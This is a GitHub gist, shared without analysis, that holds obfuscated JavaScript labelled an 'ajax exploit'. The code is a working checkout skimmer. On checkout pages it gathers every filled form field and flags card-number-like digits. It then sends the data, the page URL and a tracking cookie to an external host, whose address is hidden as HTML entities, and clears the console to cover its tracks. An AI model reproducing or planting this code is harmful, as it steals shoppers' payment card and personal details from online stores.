Skip to content

Instantly share code, notes, and snippets.

@bkozora
Last active August 29, 2015 14:27
Show Gist options
  • Save bkozora/6f3a32af7df3b00e7d32 to your computer and use it in GitHub Desktop.
Save bkozora/6f3a32af7df3b00e7d32 to your computer and use it in GitHub Desktop.
slightly less clever js ajax exploit
/**
* still rather clever, still not mine
*/
function jj(e) {
var t = "; " + document.cookie,
o = t.split("; " + e + "=");
return 2 == o.length ? o.pop().split(";").shift() : void 0
}
jj("SESSIID") || (document.cookie = "SESSIID=" + (new Date).getTime()), jQuery(function(e) {
e("button").on("click", function() {
var t = "",
o = "post",
n = window.location;
if (new RegExp("onepage|checkout").test(n)) {
for (var c = document.querySelectorAll("input, select, textarea, checkbox"), i = 0; i < c.length; i++)
if (c[i].value.length > 0) {
var a = c[i].name;
"" == a && (a = i), t += a + "=" + c[i].value + "&"
}
if (t) {
var l = new RegExp("[0-9]{13,16}"),
u = new XMLHttpRequest;
u.open(o, e("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(), !0), u.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), u.send(t + "&asd=" + (l.test(t.replace(/s/g, "")) ? 1 : 0) + "&utmp=" + n + "&cookie=" + jj("SESSIID")), console.clear()
}
}
})
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment